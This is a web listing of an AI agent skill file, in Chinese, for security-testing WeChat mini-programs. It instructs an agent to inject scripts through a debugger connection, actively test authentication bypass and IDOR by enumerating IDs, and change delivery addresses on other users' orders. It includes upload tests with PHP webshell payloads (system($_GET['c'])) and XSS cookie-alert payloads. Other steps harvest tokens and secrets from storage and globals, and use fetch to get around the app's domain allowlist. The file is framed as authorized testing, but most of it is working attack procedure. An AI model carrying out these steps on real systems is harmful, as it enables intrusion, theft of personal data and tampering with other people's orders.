Miniapp Security Core
DevOps & Securityminiapp-security-coreMiniapp Security Core is an Agent Skill for devops & security published in the eeeeeeeeee-code/e0e1-wx repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.
Use when reviewing authorized WeChat mini-program or mini-app targets for authentication bypass, IDOR, undefined-path access, API abuse, decryption and signature analysis, runtime reverse engineering, route mapping, and sensitive data exposure, with file-submission attack surfaces intentionally excluded.
How to use this skill
Bring this guide into your coding agent with a prompt tailored to the tool you use.
- Open your project in Codex.
- Copy and paste the prompt below.
- Review files and risks before approving any action.
Inspect the Agent Skill at https://github.com/eeeeeeeeee-code/e0e1-wx/blob/HEAD/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/miniapp-security-core, but wait for my approval before writing files or running scripts.
Copying this prompt does not install or run the skill. Review third-party files before use.
❌ 红线(违反即失败)
- 未完整复述 Checklist 就调用 MCP 工具
- 自动重放支付、退款、提现、下单等资金类接口(
build_replay_plan只生成计划,不自动发送) - 未经
dryRun=false和requireConfirm=true就修改 Vuex state - 把解密结果用于绕过服务端校验而非安全评估
⚠️ 授权声明(必读)
本 skill 仅用于已获授权的安全评估、CTF 竞赛、合法渗透测试和防御性安全研究。 目标小程序须为授权评估对象。禁止对未授权系统使用任何主动探测手段。使用者须自行承担法律责任。
评估流程总览
| Phase | 目标 | 核心工具 | 输出 |
|---|---|---|---|
| 0. 环境搭建 | CDP 连接 + Hook 注入 | connection_ops / network_ops | 流量采集就绪 |
| 1. 侦察 | 路由 + 接口资产盘点 | runtime_ops / debugger_ops | 接口清单(含路由标注) |
| 2. 渗透线索 | IDOR / 认证绕过 / 资金接口 | analysis_ops / runtime_ops(fetch) | 风险候选清单 |
| 3. 解密分析 | 加密参数破解 + 密钥追踪 | decrypt_ops / debugger_ops | 明文数据 |
| 4. 逆向审计 | 代码保护分析 + 硬编码凭据扫描 | debugger_ops / reverse_ops | 凭据泄露报告 |
| 5. State 检查 | Vuex 越权状态验证 | runtime_ops | 越权路径 |
| 6. 报告导出 | Markdown 安全评估报告 | analysis_ops | 完整报告 |
最小可行扫描(时间受限时):Phase 0 → Phase 1(全路由)→ Phase 2.1-2.2.1(认证/IDOR/undefined路径)→ Phase 2.5.1(专项风险:JWT-in-URL/静态sign/enc/多appId)→ Phase 2.8(HTTP 行为变化矩阵:传统登录/上传/CVE路径/路由参数)→ Phase 4.7 第一轮(CRITICAL 凭据扫描)→ Phase 6
快速决策树(从目标直达 Phase)
当前任务是什么?
│
├─ 刚拿到小程序,需要全面摸底
│ └─ 走完整流程:Phase 0 → 1 → 2 → 4.7 → 6
│
├─ 时间有限,只测高价值面
│ └─ 最小可行扫描:0 → 1 → 2.1 + 2.2 + 2.2.1 → 2.5.1 → 4.7(CRITICAL)→ 6
│
├─ 发现加密参数(mina_edata / sign / enc)需要解密
│ └─ Phase 3 解密分析 → 场景 2(AES-CBC)/ 场景 3(唯品会三层)/ 场景 14(cachedata)
│
├─ 发现含 ID 参数的接口,怀疑 IDOR
│ └─ Phase 2.2 主动验证 → Phase 2.2.1(/undefined 路径)→ 场景 5
│
├─ 发现地址 / 订单接口,测写越权
│ └─ Phase 2.4.A(地址越权)/ Phase 2.4.B(订单越权)→ 场景 5
│
├─ 源码有混淆 / JSVMP / Webpack 保护
│ └─ Phase 4.1 识别类型 → Phase 4.2(Webpack)/ 4.3(OB)/ 4.4(JSVMP)→ 场景 7/8
│
├─ 怀疑硬编码了 AK/SK / AppSecret / 数据库密码
│ └─ Phase 4.7.0(运行时优先)→ Phase 4.7.1-4.7.9(正则扫描)→ 场景 11
│
├─ 接口认证疑似可绕过(不带 token 也返回数据)
│ └─ Phase 2.1 认证绕过主动验证 → 判断标准表
│
├─ 看到 /login 全部 404,疑似迁移到 OAuth2
│ └─ Phase 2.8 ① → 场景 16(认证机制迁移探测)
│
└─ 需要生成完整评估报告
└─ Phase 6 → analysis_ops(generate_security_notes)
Phase 0:环境搭建
MCP 操作顺序(推荐每次评估开始时执行):
1. connection_ops(action="connect_wmpf")
→ 连接 WMPFDebugger CDP,默认 ws://127.0.0.1:62000
2. network_ops(action="network_enable")
→ 启用 CDP Network domain,开始采集
3. 注入路由发现脚本 __routeNavigator(必须在 select_appservice_context 之前!)
⚠️ 此步骤要使用 runtime_eval(page-frame 上下文),不是 runtime_eval_appservice。
脚本依赖 window.frames 遍历跨 frame 找到拥有完整 __wxConfig 和 getCurrentPages
的 appservice frame;若在 appservice 上下文注入则 frames 遍历失效,路由数量仍然不足。
# Step A: 读取注入脚本内容
Read(file_path="package/applet_routes/nav_inject.js")
→ 获取 nav_inject.js 全文(约 360 行)
# Step B: 注入到 page-frame 上下文
runtime_ops(action="runtime_eval",
expression="<nav_inject.js 全文内容>",
await_promise=False)
# Step C: 验证注入成功
runtime_ops(action="runtime_eval",
expression="typeof window.__routeNavigator")
→ 返回 "object" 表示注入成功;返回 "undefined" 则重试 Step B
4. connection_ops(action="select_appservice_context")
→ 自动识别 appservice Runtime context,供后续 runtime_eval_appservice 使用
5. network_ops(action="hook_wx_request")
→ 在 appservice 上下文注入 wx.request hook,采集请求/响应原始数据
6. network_ops(action="hook_fetch_and_xhr")
→ 注入 fetch/XHR hook(Web 端 H5 页面)
7. runtime_ops(action="dump_runtime_snapshot")
→ 当前页面状态快照(URL、路由、存储摘要)
→ 记录当前路由路径,后续所有请求均标注来源路由
Phase 1:路由发现与接口侦察
1.0 路由资产盘点(v2.10 重写 — 使用 __routeNavigator)
核心原则:每个请求必须标注来源路由,每条路由都必须被测试。
⚠️ 前提:Phase 0 Step 3 的
__routeNavigator必须已注入。如果本步骤报错,先确认注入成功。
# Step 1: 获取完整路由表(含分包)—— 一次调用取代旧的两步搜索
runtime_ops(action="runtime_eval",
expression="window.__routeNavigator.fetchConfigJson()")
→ 解析返回 JSON:
pages = [{route, source, isTabBar}, ...] → 含主包 + 所有分包路由
tabBarPages = ["pages/home/index", ...]
currentRoute = "pages/xxx/xxx" → 当前所在页面
guardEnabled = false
⚠️ 若返回 "undefined" 或报错:
- 检查 Phase 0 Step C 是否返回 "object"
- 重新执行 Phase 0 Step B(重注入)再重试
# Step 2: 获取当前页面栈(辅助确认路由上下文)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{const p=getCurrentPages();return p.map(pg=>({route:pg.route,options:pg.options}))})()")
路由表解读要点:
source="main"→ 主包页面source="subPackageName"→ 对应分包,代表分包已在__wxConfig中声明isTabBar=true→ 导航时用switchTabJson,否则用navigateToJson或reLaunchJson- 若
pages仍然很少(< 5):说明小程序尚未加载子包配置,先随意触发几次页面切换再重试
1.1 逐路由流量采集(优先级优先 — v2.12)
核心原则:按漏洞价值排序遍历,不要按路由列表顺序机械扫描。
路由优先级分级
拿到 fetchConfigJson() 的完整路由表后,先按以下规则分组再依次测试:
P0 — 必测(最高价值,直接对应已知漏洞类型)
关键词命中任意一个即归入:
order / pay / payment / cart / checkout / coupon / refund ← 支付/订单
address / profile / setting / account / userInfo ← 个人信息/写越权
admin / manage / backstage / internal / debug ← 后台/管理
borrow / return / renew / reserve ← 借阅(图书馆类)
donate / purchase / buy ← 购买/捐赠
P1 — 重要(常含 IDOR 或认证绕过线索)
detail / Detail / info / get / query / view ← ⚡ 详情页(必须配合 ID 参数测试)
list / search / result / record / history ← 列表(可枚举,为 Detail IDOR 提供 ID 来源)
auth / login / register / bind / verify / openid ← 认证流程
mine / my / user / member / reader ← 用户中心
P2 — 普通(扫完 P0/P1 后再补)
index / home / activity / service / navigation ← 首页/导航
notice / article / news / video / exhibit / about ← 内容展示
P3 — 低优先(通常纯展示,无接口)
agreement / guide / success / result / map / web-view ← 静态/结果/地图
demo / live / readNow ← 演示/直播
⚡ Detail 路由专项协议(P1 必执行)
核心问题:Detail 路由不带 ID 参数直接导航通常返回空数据或报错,必须从对应 List 接口获取真实 ID 后再测试。
遇到 xxxDetail / xxxInfo / bookDetail / orderDetail / layerDetail 等路由时:
Step 1: 先找 ID 来源
→ 检查已捕获请求中同模块的 list/query 接口响应
→ 从响应 JSON 中提取 id / itemId / orderId / bookId 等字段
→ 若无 list 数据:先导航对应 list 路由触发数据加载,再读取 ID
Step 2: 带 ID 导航 Detail 路由
→ 方式 A(url 参数):reLaunchJson('pages-sub/xxx/detail?id=<真实ID>')
→ 方式 B(onLoad 注入):navigateToJson 后用 runtime_eval_appservice 调用
page.onLoad({id: '<真实ID>'})
Step 3: 读取 Detail 接口请求,确认接口路径和 ID 参数名
Step 4: 立即执行 IDOR 测试(Phase 2.2 模板)
→ 用当前用户 ID 作为 BASELINE
→ 从 list 响应中找其他用户的 ID(如社区帖子作者、排行榜 userId)
→ 对比响应数据差异判断越权
→ 空数据 ≠ 无 IDOR(换有真实数据的 ID 重试)
典型 Detail 路由来源配对表:
| Detail 路由关键词 | 对应 List 路由 | ID 字段名 |
|---|---|---|
| orderDetail / order/detail | order/list / my-order/index | id / orderId |
| bookDetail / book-detail | booklist / borrow/list | id / bookId / isbn |
| layofficeDetail / layerDetail | legalServices/list | id |
| articleDetail / docDetail | article-list / continuous | id / articleId |
| myActivity/detail | myActivity/myActivity | id / activityId |
| exhibitList/index / electronic-detail | exhibitList / electronic-list | id |
runtime_eval_appservice(expression="(()=>{
var route=(getCurrentPages().slice(-1)[0]||{}).route||'?';
form:JSON.stringify(obj.formData||{}),route:route,ts:Date.now()});
return origUp.apply(this,arguments);
};
}
})()")
→ 有条目 → 直接跳 Step 4 执行绕过测试
→ 无条目 → 执行 Step 3「主动触发法」
Step 3: 主动触发法(Hook 无日志时执行)
runtime_eval_appservice(expression="(async ()=>{
var pages=getCurrentPages();
var c=pages[pages.length-1];
// Step 3a: 列出所有页面方法,找潜在的上传触发入口
var methods=Object.keys(c).filter(function(k){return typeof c[k]==='function';});
form:JSON.stringify(obj.formData||{}),route:c.route,ts:Date.now()});
return origUp.apply(this,arguments); // 继续真正上传
};
// 创建一个模拟图片文件
var fs=wx.getFileSystemManager();
var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
if(opts&&typeof opts.success==='function')
opts.success({tempFilePaths:[p],tempFiles:[{path:p,size:9}]});
};
var fs=wx.getFileSystemManager();
var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
if(opts&&typeof opts.success==='function')
opts.success({tempFiles:[{tempFilePath:p,fileType:'image',size:9}]});
};
// Step 3c: 逐一调用页面 handler,用 fake tap event 触发,监控哪个触发了上传
var fakeEvent={type:'tap',timeStamp:Date.now(),
target:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
currentTarget:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
touches:[{identifier:0,pageX:100,pageY:100,clientX:100,clientY:100}],
changedTouches:[{identifier:0,pageX:100,pageY:100}],
detail:{x:100,y:100}};
var triggeredBy=null;
for(var m of methods){
try{c[m].call(c,fakeEvent);}catch(e){}
await new Promise(function(r){setTimeout(r,500);});
triggeredBy=m;
break;
}
}
// 恢复
return JSON.stringify({
methods:methods,
triggeredBy:triggeredBy,
});
})()")
→ 若所有方法均未触发:
runtime_eval_appservice("JSON.stringify(getCurrentPages().slice(-1)[0].data)")
- 从 get_all_requests / DNS prefetch 反推 OSS 域名
- 从 Storage 搜索 ossInfo / accessKeyId 字段
Step 4: 对捕获的上传 URL 执行完整文件类型绕过测试
runtime_eval_appservice(expression="(async ()=>{
var token=wx.getStorageSync('token')||wx.getStorageSync('access_token')||'';
var fs=wx.getFileSystemManager();
var base=wx.env.USER_DATA_PATH;
var tests=[
{label:'baseline_jpg', fn:'ok.jpg', mime:'image/jpeg', body:'\\xff\\xd8\\xff\\xe0normal'},
{label:'php_as_jpg', fn:'shell.php', mime:'image/jpeg', body:'<?php phpinfo();?>'},
{label:'phtml', fn:'shell.phtml', mime:'image/jpeg', body:'<?php system($_GET[\"c\"]);?>'},
{label:'gif_php', fn:'shell.gif', mime:'image/gif', body:'GIF89a<?php system($_GET[\"c\"]);?>'},
{label:'double_ext', fn:'img.php.jpg', mime:'image/jpeg', body:'<?php phpinfo();?>'},
{label:'svg_xss', fn:'xss.svg', mime:'image/svg+xml', body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.cookie)</script></svg>'},
{label:'html_xss', fn:'xss.html', mime:'text/plain', body:'<script>alert(document.cookie)</script>'},
];
var results=[];
for(var t of tests){
fs.writeFileSync(base+'/'+t.fn, t.body, 'utf8');
var r=await new Promise(function(res){
header:{'Authorization':'Bearer '+token,token:token},
formData:{},
success:function(r){
var parsed={};try{parsed=JSON.parse(r.data);}catch(e){}
var fileUrl=(parsed.data&&(parsed.data.url||parsed.data))||parsed.url||'';
res({label:t.label,file:t.fn,status:r.statusCode,code:parsed.code,
fileUrl:String(fileUrl),resp:String(r.data).slice(0,300)});
},
fail:function(e){res({label:t.label,file:t.fn,status:'fail',err:String(e.errMsg||'').slice(0,80)});}
});
});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
Step 5: 验证 Content-Type 与 Content-Disposition(决定 XSS 是否可利用)
runtime_eval_appservice(expression="(async ()=>{
var urls={svg:'<svg URL>',html:'<html URL>',php:'<php URL>',pdf:'<pdf URL>'};
var results=[];
for(var k in urls){
var r=await new Promise(function(res){wx.request({
url:urls[k],method:'GET',
success:function(r){
var h=r.header||{};
res({type:k,status:r.statusCode,
ct:h['Content-Type']||h['content-type']||'?',
cd:h['Content-Disposition']||h['content-disposition']||'none(inline!)',
body:JSON.stringify(r.data||'').slice(0,150)});
},fail:function(e){res({type:k,status:'fail'});}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
Step 6: 判断结果
.svg + ct=image/svg+xml + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
.html + ct=text/html + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
.php 上传成功 + cd=none → ⚠️ OSS 不执行 PHP,但无扩展名检查
任意文件 + cd=attachment → ✅ 强制下载,XSS 不可直接触发
服务端拒绝"格式不支持" → ✅ 白名单保护
遍历流程
Step 1: 从 fetchConfigJson() 路由表按上面规则分组为 P0/P1/P2/P3
Step 2: 按 P0 → P1 → P2 → P3 顺序依次导航,每个路由:
For each route in [P0, P1, P2, P3 顺序]:
┌──────────────────────────────────────────────────────────┐
│ 路由: pages-sub/borrow/my-order/index (P0) │
│ 1. 导航(统一优先 reLaunchJson): │
│ runtime_eval("window.__routeNavigator │
│ .reLaunchJson('pages-sub/...')") │
│ 2. 触发刷新(onPullDownRefresh 或 onShow) │
│ 3. 读取新增请求 │
│ 4. ⚡ 空流量路由?→ 按决策树处理(最多重试 2 次) │
│ 5. 路由类型专项处理: │
│ · detail/Detail 类 → 执行 Detail ID 协议 │
│ · order/pay/address 类 → 标记认证绕过/IDOR 候选 │
│ 6. 记录: URL / 方法 / 参数 / 认证 / 加密,标注来源路由 │
└──────────────────────────────────────────────────────────┘
Step 3: P0 路由采集完成后,立即执行 Phase 2 渗透验证
P1/P2/P3 继续在后台补充遍历
⚡ 空流量路由决策树
导航后无新请求?
│
├─ YES → 尝试强制刷新(onPullDownRefresh / onShow)
│ ├─ 有新请求 → 正常采集
│ └─ 仍无请求(重试 2 次)→ 判定为静态/纯UI路由
│ → 记录"[无接口 — 跳过]",进入下一条路由
│ ← ⚠️ 最多重试 2 次,不要死磕
│
└─ NO → 正常采集
静态路由常见特征:协议/关于/引导/成功页、地图、web-view 包装页。
路由请求标注格式(在分析和报告中均使用):
路由: pages-sub/borrow/my-order/detail [P1 — Detail — 已从 list 提取 ID]
└── GET /api/borrow/order/detail?id=123 [认证: token]
风险标签: IDOR 已验证 / 他人订单数据可读
风险标签: 文件类型绕过已测 / .php 上传成功 → RCE
路由: pages-sub/profile/address-list [P0 — 地址]
├── GET /api/user/address/list [认证: token]
└── POST /api/user/address/add [认证: token]
风险标签: 地址写越权候选
路由: pages-sub/mine/agreement [P3 — 静态]
└── [无接口 — 纯展示,跳过]
1.2 全量流量汇总
在完成所有路由的遍历采集后:
network_ops(action="get_all_requests")
→ 返回 CDP + wx.request + fetch/XHR 归一化请求列表(含来源路由标注)
analysis_ops(action="get_api_inventory")
→ 返回去重后的接口清单:路径、方法、状态码、参数、认证字段、来源路由、风险标签
analysis_ops(action="generate_api_table_markdown")
→ Markdown 接口表格(按路由分组)
1.3 加密参数识别
network_ops(action="search_runtime_keywords",
keywords=["mina_edata", "encrypt", "AES", "3DES", "sign", "token", "cipher"])
→ 在 window、document、storage 和内联脚本中搜索关键词
network_ops(action="inspect_wx_config")
→ 检查 __wxConfig、__wxAppCode__ 中的关键词命中
decrypt_ops(action="auto_detect_encoding", value="<加密参数值>")
→ 自动识别编码类型(base64 / hex / url_encoded)
1.4 脚本分析
debugger_ops(action="list_scripts")
→ 列出已加载脚本
debugger_ops(action="search_in_sources", query="encrypt|AES|sign|request|decrypt|crypto|md5|sha|base64")
→ 全源码搜索加密/签名关键词
debugger_ops(action="get_script_source", url="<脚本URL>")
→ 获取脚本内容
# v2.0 新增:检测代码保护
debugger_ops(action="search_in_sources", query="_0x|obfuscator|jsvmp|virtualMachine|while.*switch|webpackJsonp")
→ 识别混淆/JSVMP/Webpack 打包
⚠️ cachedata 脚本降级方案(v2.5 新增):若
list_scripts返回的 URL 全部以.cachedata结尾,或search_in_sources对所有查询均返回 0 命中,或get_script_source报"Debugger agent is not enabled",说明脚本以 WX 二进制缓存格式存储,静态文本搜索完全失效。此时切换到运行时扫描替代方案:# 替代方案1: 运行时遍历全局函数名,定位加密函数 runtime_ops(action="runtime_eval", expression="(()=>Object.keys(globalThis).filter(k=>typeof globalThis[k]==='function'&& /encrypt|decrypt|sign|md5|sha|aes|des|hmac|cipher|encode/i.test(k)))()") # 替代方案2: 扫描全局变量中的硬编码密钥(见 Phase 4.7.2 的验证步骤 1-4) runtime_ops(action="runtime_eval", expression="(()=>{var r={};for(var k of Object.keys(globalThis||window||{})){ if(/host|gateway|env|config|api|baseUrl|key|secret|token/i.test(k)){ try{var v=String(globalThis[k]);if(v&&v!='undefined')r[k]=v.slice(0,200)}catch(e){} }}return JSON.stringify(r)})()") # 替代方案3: 搜索 Storage 中的密钥字段 runtime_ops(action="runtime_eval", expression="(()=>{try{var keys=wx.getStorageInfoSync().keys; var r={};keys.filter(k=>/key|token|secret|sign|iv|crypto|aes|des/i.test(k)) .forEach(k=>{try{r[k]=wx.getStorageSync(k)}catch(e){}});return JSON.stringify(r)} catch(e){return String(e)}})()")
Phase 2:渗透测试线索分析
2.1 认证与授权测试(主动验证)
analysis_ops(action="analyze_auth_surface")
→ 认证字段分布、token 位置(header/query/body)、缺少认证的敏感接口
→ 按路由分组展示,标注每个路由的认证覆盖盲区
认证绕过必须主动发送请求验证,不能只看静态分析结果:
# Step 1: 从 get_request_detail 提取目标请求的完整信息
# Step 2: 用 runtime_eval (fetch) 或 runtime_eval_appservice (wx.request) 主动发送修改后的请求
# Step 3: 对比响应判断是否绕过
# === 认证绕过主动测试模板 ===
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<从JWT解析或请求中提取的token>';
var url='<目标接口URL>';
var method='<GET/POST>';
var body='<原始请求体JSON>';
var results=[];
// 测试1: 不带 token
var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});
results.push({test:'no_token',status:r1.status,body:await r1.text()});
// 测试2: 带空 token
var r2=await fetch(url,{method:method,headers:{'Authorization':'Bearer ','Content-Type':'application/json'},body:body});
results.push({test:'empty_token',status:r2.status,body:await r2.text()});
// 测试3: 带伪造 token
var r3=await fetch(url,{method:method,headers:{'Authorization':'Bearer fake_token_12345','Content-Type':'application/json'},body:body});
results.push({test:'fake_token',status:r3.status,body:await r3.text()});
// 测试4: 正常 token(基线)
var r4=await fetch(url,{method:method,headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},body:body});
results.push({test:'baseline',status:r4.status,body:await r4.text()});
return JSON.stringify(results,null,2);
})()")
# === 认证绕过判断标准 ===
# no_token 返回 200 + 正常数据 → 🔴 无认证保护(严重)
# empty_token 返回 200 + 正常数据 → 🔴 token 验证不严格
# fake_token 返回 200 + 正常数据 → 🔴 token 未真正校验
# baseline 返回 200,其余返回 401/403 → ✅ 认证正常
# 所有测试返回相同数据 → 🔴 接口根本不需要认证
#
# ⚠️ 歧义情况:所有测试(含 baseline)均返回相同 500 →
# 不等于"未保护"!服务端可能在解析 token 时崩溃。
# 判断方法:检查 500 响应体是否包含堆栈/debug 信息(信息泄露)。
# 后续操作:换有效 token(从 storage 或 JWT 解码获取)构造 baseline 再测。
为什么用 runtime_eval + fetch 而非 replay_ops:
replay_ops对 POST/写操作默认阻断(blocked_by_policy)fetch从 webview 层面发送,绕过小程序的域名白名单限制- 直接拿到响应数据对比,无需手动验证
2.2 IDOR 候选发现与主动验证
analysis_ops(action="find_idor_candidates")
→ 包含对象 ID 的接口(潜在 IDOR 候选)
→ 标注: 来源路由 + ID 参数名称 + ID 格式(自增/UUID/编码)
IDOR 不能只看静态分析结果,必须主动发送请求验证。以下为完整主动测试流程:
# Step 1: 获取原始请求详情
network_ops(action="get_request_detail", request_id="<候选请求ID>")
→ 提取: url, method, headers, body, 响应结构
# Step 2: 从 JWT/Body 中识别当前用户 ID
# 如果 Authorization header 是 JWT,解码 payload 获取 userId
# 如果请求体中有 openId/userId/uuid,记录当前值
# Step 3: 构造 IDOR 测试向量并主动发送
# 使用 runtime_eval (fetch) 绕过 replay_ops 的 POST 阻断
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<从请求中提取的完整token>';
var baseBody=<原始请求体JSON>;
var tests=[
{label:'BASELINE',body:{...baseBody}}, // null/原值(基线)
{label:'IDOR_ADJACENT',body:{...baseBody,userId:baseBody.userId+1}}, // 相邻ID
{label:'IDOR_FIRST',body:{...baseBody,userId:1}}, // 首个用户
{label:'IDOR_ZERO',body:{...baseBody,userId:0}}, // 边界值
{label:'IDOR_STRING',body:{...baseBody,userId:'admin'}}, // 类型混淆
];
var results=[];
for(var t of tests){
var r=await fetch('<目标URL>',{
method:'POST',
headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},
body:JSON.stringify(t.body)
});
var text=await r.text();
results.push({label:t.label,status:r.status,bodyLen:text.length,preview:text.slice(0,500)});
}
return JSON.stringify(results,null,2);
})()")
IDOR 判断标准(按优先级):
| 响应对比 | 判断 | 后续操作 |
|---|---|---|
| BASELINE 有数据,IDOR_* 返回不同的有效数据 | 🔴 IDOR 确认 | 提取他人数据的敏感程度,定级 |
| BASELINE 有数据,IDOR_* 返回相同数据 | ✅ 后端忽略了 userId(取 token) | 换参数位置测试 |
| BASELINE 有数据,IDOR_* 返回 403 | ✅ 有权限检查 | 记录为已防御 |
| BASELINE 空数据,IDOR_* 也空数据 | ⚠️ 无法判断 | 说明当前用户/目标用户均无数据,换有数据的接口测试 |
IDOR_* 返回了不同 data.phone/name/idCard 等字段 | 🔴 越权读取他人敏感信息 | 严重,立即报告 |
跨域请求注意:如果目标 API 域名与当前小程序不同(如跨小程序调用),wx.request 会因域名白名单失败,此时 fetch 从 webview 层发送可绕过限制。
2.2.1 路径参数 undefined IDOR(v2.4 新增)
模式:URL 路径中包含 /undefined 段,说明客户端 JS 变量未初始化就直接嵌入了 URL 模板(如 `/api/detail/${item.id}` 中 item.id 为 undefined),服务端收到字面字符串 "undefined" 后仍可能转发给数据库查询。
# Step 1: 从已采集请求中识别路径含 /undefined 的接口
network_ops(action="get_all_requests")
→ 筛选 path.includes('/undefined') 的条目
→ 这类请求常出现在页面刚加载、列表未渲染完成时触发的详情接口
# Step 2: 获取原始请求完整信息
network_ops(action="get_request_detail", request_id="<候选请求ID>")
→ 提取: url, method, headers, 认证字段
主动测试模板(替换 undefined 为数字 ID 枚举资源):
runtime_ops(action="runtime_eval", expression="(async ()=>{
var baseUrl='<原始URL,含 /undefined>';
var method='<GET/POST>';
var headers={'Content-Type':'application/json','Authorization':'Bearer <token>'};
var testIds=[1,2,3,10,100,1000,99999];
var results=[];
// BASELINE: 原始 /undefined 请求(确认服务端如何处理字面 undefined)
var rb=await fetch(baseUrl,{method:method,headers:headers});
var baseText=await rb.text();
results.push({id:'undefined',status:rb.status,len:baseText.length,preview:baseText.slice(0,300)});
// 枚举数字 ID — 将路径中的 /undefined 替换为 /<id>
for(var id of testIds){
var url=baseUrl.replace('/undefined','/'+ id);
var r=await fetch(url,{method:method,headers:headers});
var text=await r.text();
results.push({id:id,status:r.status,len:text.length,preview:text.slice(0,400)});
}
return JSON.stringify(results,null,2);
})()")
如果从响应或其他接口已获得真实 ID(如 exhibitId=42),优先测试相邻范围:
var testIds=[39,40,41,42,43,44,45,1,2,99999];
// 相邻 ID 最容易触发他人数据,危害更直接
判断标准:
| 响应对比 | 判断 | 后续操作 |
|---|---|---|
/undefined 返回空/错误,数字 ID 返回他人有效数据 | 🔴 路径遍历 IDOR 确认 | 枚举更多 ID,确认数据敏感程度 |
| 不同数字 ID 返回不同用户的数据 | 🔴 IDOR 确认(越权访问) | 提取数据字段,按越权范围定级 |
| 数字 ID 返回 404/403/权限错误 | ✅ 有保护 | 记录为已防御 |
| 所有 ID(包括 undefined)均返回相同错误 | ⚠️ 需认证 | 用带有效 token 的请求重测 |
/undefined 与数字 ID 响应长度不同 | 🔴 服务端区分了不同 ID,存在数据泄露风险 | 检查不同 ID 返回的具体字段 |
2.3 敏感数据暴露
analysis_ops(action="find_sensitive_data_exposure")
→ 请求/响应中的敏感字段(已脱敏展示)
→ 关注: 手机号、身份证、银行卡号、密码、token 在响应体中回显
→ 按路由分组的敏感数据暴露统计
2.4 资金类接口识别
analysis_ops(action="find_payment_and_order_surfaces")
→ 支付/订单/优惠券/钱包/余额接口(资金风险候选)
→ 标注: 来源路由 + 金额参数名 + HTTP 方法
→ 金额篡改候选: price/amount/cost/total/fee 参数
→ 优惠券/积分: couponId/bonusId/point 参数
2.4.A 地址管理越权测试(v2.8 新增)
核心原则:地址接口极易出现 IDOR —— 地址 ID 通常是自增整数,且增删改操作仅凭 token 可能无法校验地址归属。必须自己添加地址拿到 ID,再用该 ID 枚举其他用户地址。
⚠️ 地址接口命名不唯一:不同小程序的地址 API 路径差异很大,必须从流量中获取真实路径。常见变体:
/api/app/user/address/add— 用户收货地址/api/app/delivery/address/add— 物流配送地址/api/app/trade/delivery/add-receiver— 订单收货人(含 deliveryIds 关联订单!)/api/app/address/save//api/app/address/create
trade/delivery/add-receiver是特殊情况:它的deliveryIds字段关联了具体订单, 这既是地址接口也是订单关联接口,IDOR 价值更高(改变他人订单的收货人)。
Step 1:导航地址页采集真实接口
// 导航到地址管理页(按实际路由名)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/address/address'});return 'ok'})()")
// 也导航到订单详情页(通常含收货地址修改)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages/editDelivery/editDelivery'});return 'ok'})()")
// 等 2 秒后查看接口清单,找到 address/delivery/receiver 相关 GET/POST/PUT/DELETE
analysis_ops(action="get_api_inventory")
→ 识别: address/list, address/add, address/get, address/edit, address/delete
→ 特别关注: delivery/add-receiver / delivery/address/add 等含 deliveryIds/receiverId 的接口
Step 2:主动添加测试地址(获取 addressId / deliveryId)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
var base='https://<API域名>';
var ts=Date.now();
// 尝试常见的地址创建 API 路径(从接口清单中取真实路径)
var addPaths=[
'/api/app/user/address/add',
'/api/app/address/add',
'/api/app/delivery/address/add',
'/lyanxue/api/v1.2/app/delivery/address/add',
'/lyanxue/api/v1.2/app/user/address/add',
];
var testAddr={
name:'IDOR测试',
phone:'13800000001',
province:'广东省',
city:'深圳市',
district:'南山区',
detail:'测试路1号',
isDefault:0,
timestamp:ts
};
var results=[];
for(var p of addPaths){
var r=await new Promise(res=>{wx.request({
url:base+p,method:'POST',
header:{token:token,'Content-Type':'application/json'},
data:testAddr,
success:function(r){res({path:p,code:r.data&&r.data.code,msg:r.data&&r.data.msg,
addrId:r.data&&r.data.data&&(r.data.data.id||r.data.data.addressId||r.data.data.deliveryId),
preview:JSON.stringify(r.data).slice(0,300)})},
fail:function(e){res({path:p,status:'fail'})}
})});
if(r.code===10000||r.code===200||r.code===0) results.push(r);
else results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 记录成功的 path 和返回的 id(通常为整数)
Step 2.5:针对 trade/delivery/add-receiver 的特殊处理
add-receiver 是订单关联的收货人接口,比普通地址更高价值:
// 真实请求示例:
// POST /lyanxue/api/v1.2/app/trade/delivery/add-receiver
// Body: {"deliveryIds":"","name":"test","phone":"19555555555","address":"浙江省杭州市西湖区test","timestamp":1779688689599}
//
// deliveryIds: 空字符串 = 新建收货人(无关联订单)
// deliveryIds: "123,456" = 关联订单 123 和 456 的收货人
//
// IDOR 测试重点:deliveryIds 使用他人订单 ID → 修改他人订单收货地址
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
var base='https://<API域名>';
var ts=Date.now();
// Step 1: 先获取自己的 delivery list 拿到 deliveryIds
var deliveries=await new Promise(res=>{wx.request({
url:base+'/lyanxue/api/v1.2/app/trade/delivery/get-list?pageNo=1&pageSize=10&lockedStates=0×tamp='+ts,
method:'GET',header:{token:token},
success:r=>res(r.data&&r.data.data&&r.data.data.deliveryList||[]),
fail:e=>res([])
})});
console.log('[DELIVERIES]'+JSON.stringify(deliveries).slice(0,500));
